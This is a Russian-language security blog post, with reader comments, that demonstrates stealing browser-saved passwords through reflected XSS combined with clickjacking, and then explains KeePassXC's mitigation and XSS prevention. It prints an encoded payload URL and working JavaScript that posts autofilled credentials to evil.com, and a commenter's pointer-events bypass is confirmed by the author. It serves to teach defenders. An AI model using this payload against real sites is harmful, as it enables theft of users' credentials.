Меня зовут Артем Мышенков, я ведущий инженер по технической защите информации в команде безопасности REG.RU. Наша команда занимается тестированием систем компании на безопасность и поиском уязвимостей. 

В этой статье я расскажу о том, как с помощью XSS-атаки в сочетании с ClickJacking’ом злоумышленники могут похитить сохраненные в браузере пароли. 

XSS ― это одна из самых популярных веб-уязвимостей. Строго говоря, это атака, а не уязвимость, но условимся, что иногда под XSS я буду подразумевать уязвимость, которая позволяет проводить XSS-атаку. 

Согласно википедии, XSS (англ. Cross-Site Scripting) ―  это «тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействия этого кода с веб-сервером злоумышленника»

Вообще мы стараемся оперативно выявлять и устранять уязвимости, но представим, что на сайте REG.RU прямо сейчас есть такая, которая позволяет провести XSS-атаку. 

Суть атаки

Чтобы атаковать пользователя сайта, его нужно вынудить перейти по специально сформированной ссылке (о методах социальной инженерии, которые позволяют это сделать, поговорим как-нибудь в другой раз). Атака, для которой нужна спец ссылка, называется ReflectedXSS. Есть ещё StoredXSS, в случае которой вредоносный код сохраняется на странице, поэтому жертву даже не надо вынуждать перейти по ссылке, а нужно просто дождаться пока кто-нибудь откроет зараженную страницу.

Допустим, в результате социальной инженерии пользователь перешел по такой ссылке:

https://www.reg.ru/vulnerable_page?vulnerable_param=%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%61%2e%6a%73%3e

На первый взгляд она не вызывает особых подозрений: длинновата, но домен-то правильный и открывается наш сайт, из-за чего может показаться, что бояться нечего (спойлер: тем, кто не хранит пароли в браузере, атака действительно не страшна). Но при переходе по ссылке срабатывает вредоносный код, который закодирован в URL. Скрипт крадет сохраненную в браузере связку логин/пароль от личного кабинета REG.RU жертвы.

Вот как это выглядит глазами пользователя, который перешел по ссылке — на странице появляется уведомление об ошибке (специально показываем какое-нибудь стандартное сообщение, чтобы не вызвать подозрений):

При клике по кнопке OK откроется главная страница сайта. В общем-то и всё. Странно, но не подозрительно. Понять, что в это время злоумышленник уже получил сохраненный в браузере пароль, практически невозможно.

А теперь разберемся, как эта атака вообще работает. 

Технические подробности

Посмотрим, что спрятано в ссылке. Для этого декодируем ее: 

При переходе по ссылке загружается и выполняется JavaScript: 

var p = document.createElement("input");
    p.setAttribute("type", "password");
    p.setAttribute("name", "password");
var l = document.createElement("input");
    l.setAttribute("type", "text");
    l.setAttribute("name", "login");
var f = document.createElement("form");
    f.setAttribute("method", "post");
    f.setAttribute("action", "https://evil.com/");
    f.appendChild(l);
    f.appendChild(p);
    document.body.appendChild(f)
function clck() {setTimeout(()=>{f.submit()}, 1000)}
document.body.setAttribute('onclick', 'clck()');
    setTimeout(()=>{alert('Ошибка отправки CSRF-токена')},2000)

Этот код создает на странице форму и поля с названиями, совпадающими с формой авторизации, чтобы браузер знал, куда подставить сохраненный пароль. Форма добавляется в са-а-амом низу:

Чтобы браузер (в эксперименте использовался Chrome) подставил пароль, нужно взаимодействие пользователя со страницей. Сымитировать нажатие с помощью JS не получится, нужен настоящий клик. Для этого провоцируем жертву на инстинктивное нажатие на кнопку OK в сообщении об ошибке. В том, чтобы вынудить пользователя кликнуть в определенное место и есть суть атаки под названием ClickJacking. Чтобы все успело прогрузиться и отработать, указываем необходимые таймауты. Вешаем обработчик onclick на body. 

После первого клика пароль отправляется на сайт хакера, где остается только его записать, а клиенту вернуть редирект на главную страницу. 

Так как же обычному пользователю защититься от конкретно этой атаки? Ответ прост: не нужно хранить пароли в браузере. Своим коллегам мы рекомендуем использовать менеджеры паролей, например KeePass или KeePassXC. 

К слову, у KeePassXC есть плагин для браузера, который позволяет автоматически заполнять пароли для сайтов. Защитил бы он от атаки, которую мы провели? Давайте разберемся.

Расширение браузера KeePassXC

При добавлении формы на страницу, расширение KeePassXC также ее находит, но при этом подставляет свою иконку в поле ввода. Чтобы осуществить подстановку логина-пароля, нужно нужно кликнуть именно по этой иконке (ключик внизу):

Можно было бы попытаться скрыть отображение формы на странице, сделав ее прозрачной, и, сильно заморочившись, подогнать ее под кнопку OK во всплывающем окне, реализовав тем самым настоящий ClickJacking. Но от этого нас спасает директива shadow-root(closed), которая не позволяет управлять элементами расширения из внешних скриптов: 

Таким образом, мы не можем повлиять на прозрачность иконки KeePassXC. Это будет выглядеть подозрительно:

Конечно, и здесь есть вероятность, что жертва не заметит и кликнет по иконке менеджера паролей, в результате чего пароль подставится в форму и уйдет злоумышленнику, но иконка даст хоть какой-то повод насторожиться и не нажимать на опасную кнопку. К тому же, в этот момент должна быть разблокирована база паролей и должен быть разрешен доступ к паролям с текущей страницы. При правильных настройках вероятность атаки сводится к минимуму.

Кратко о том, как не допустить уязвимость

А теперь скажем пару слов как не допустить на вашем сайте уязвимость, позволяющую провести XSS-атаку.

Основной момент ― это правильная обработка данных, которые поступают из недоверенного источника и встраиваются в HTML-код страницы. К слову, это не обязательно значения из параметров URL. Это могут быть любые данные, на которые может повлиять пользователь и которые отображаются где-то на странице.

Для начала нужно понять в каком контексте эти данные попадают в код:

  • внутри тегов HTML, внутри аргументов тегов, внутри комментариев HTML;

  • в javascript-коде (например, внутри кода <script> или в inline-скриптах в других тегах);

  • в аргументе href тега <a>.

В общем случае к таким данным должна применяться кодировка HTML-entities при выводе на страницу. Обязательно должны быть закодированы символы <, >, и &.

При инъекции в JS-код дополнительно нужно экранировать одинарную кавычку \' (например, если данные подставляются в значение строки), или же применять более индивидуальные методы. Кстати, зачем вообще подставлять данные напрямую в код JS? По-моему это плохая практика, которая приводит в том числе к проблемам с безопасностью.

В контексте тега <a> нужно применять кодировку URL, а также валидировать схему и адрес хоста, если ссылка формируется полностью из недоверенных данных. Например, чтобы нельзя было сформировать ссылку типа javascript:evil_code();

В качестве превентивной меры защиты можно также использовать технологию Content-Security-Policy, которая не позволит загружать скрипты со сторонних ресурсов.

Выводы

Данная атака наглядно демонстрирует, как могут быть опасны XSS-атаки в сочетании с социальной инженерией, и как важно не допускать уязвимостей, которые могут привести к XSS, и своевременно их устранять. Варианты использования подобных уязвимостей ограничиваются только возможностями javascript и фантазией исследователя.

Расширение KeePassXC снижает вероятность успешности атаки, но полностью не исключает. В любом случае, это значительно безопаснее, чем хранить пароли в браузере.

Комментарии (14)


  1. koreychenko
    01.08.2022 16:35

    Ну, это же несколько искусственный пример, не? Чтобы оно сработало, надо чтобы сошлись следующие звезды:
    1. На сайте, от которого нужен пароль, должна быть уязвимая страница.
    2. На этой странице должна быть форма, в которую мало того, что можно подставить параметры из УРЛа из Get запроса, так еще и чтобы оно всё выводилось без экранирования.
    3. У пользователя должен быть сохранен пароль от этого сайта в браузере.

    Ну, т.е. очень маловероятный сценарий ))


    1. myshenkov Автор
      01.08.2022 17:26
      +3

      ну не то чтобы очень малая вероятность)
      вполне рабочий пример, да главным условием должно быть наличие уязвимости XSS,

      а насчет сохранения паролей в браузере, практика показывает, что так делают почти все


    1. NikaLapka
      01.08.2022 19:57

      Да легко, ссылка в письме не отличимом от настоящего, с вашими персональными данными и правильным доменном, не вызовет никаких опасений, например, "Геннадий Букин, напоминаем, что срок оплаты страховых взносов,... вы можете легко оплатить онлайн, ваш Банк". В эпоху "слили очередную базу" это рядовой случай. А дальше, очередной скомпрометированный .js счётчика, идентификатора, сколько их таких используется, и на СБЕР, ВТБ, Госуслугах.. ну а пароли как верно подметили, "так делают почти все.

      Блин, ещё одна фобия.


      1. AndreyDmitriev
        01.08.2022 22:03
        +1

        У нас на работе весёлые админы постоянно рассылают письма от имени компании, имитирующие фишинговые, выглядящие как настоящие, но с хитрыми ссылками, количество кликов по которым они же и отслеживают. Ну типа смените пароль, проверьте данные профиля и т.д. Раз в квартал такая учебная тревога прилетает, и народ вроде научился не щёлкать куда попало, а помечать их как фишинговые.


    1. saboteur_kiev
      02.08.2022 03:21

      Говорят сотовые провайдеры в РФ легко вставляют в html свой код


      1. koreychenko
        02.08.2022 09:18

        И не только в РФ. Однако, с https это не работает.


        1. saboteur_kiev
          02.08.2022 16:14

          MIM, и какой-нить админ внутри компании может стырить данные карточек сотрудников.


  1. jakobz
    01.08.2022 18:22

    А если кнопку ОК сделать прозрачной для кликов (pointer-events: none), и подставить над вашей кнопкой?


    1. myshenkov Автор
      01.08.2022 19:43
      +1

      кстати да, сработает) тогда в случае кипасса отстаётся только надеяться, что база не разблокирована в текущий момент


  1. Urub
    02.08.2022 12:43

    поясните правильно ли я понял:
    1. пользователь зашел на "неблагонадежный" сайт
    2. вылезло какоето окно с кнопкой ОК, которое на самом деле содержит форму ввода логина и пароля, например от сайта какого либо почтовика, а браузер любезно подставил туда логин и пароль
    3. при нажатии на ОК именно эти логин и пароль утекают ?


    1. myshenkov Автор
      02.08.2022 13:23

      логин-пароль будет от того сайта, на котором уязвимость


      1. Urub
        02.08.2022 13:28

        т.е. с сайта из п.№1 ?


        1. myshenkov Автор
          02.08.2022 15:02

          ага, но это не обязательно будет "неблагонадёжный" сайт, уязвимость может быть на любом сайте


          1. Urub
            02.08.2022 15:08

            хм, надо будет попробовать еще раз менеджер паролей - на первой попытке keepassx мне не понравился в удобстве, например для гугла не работал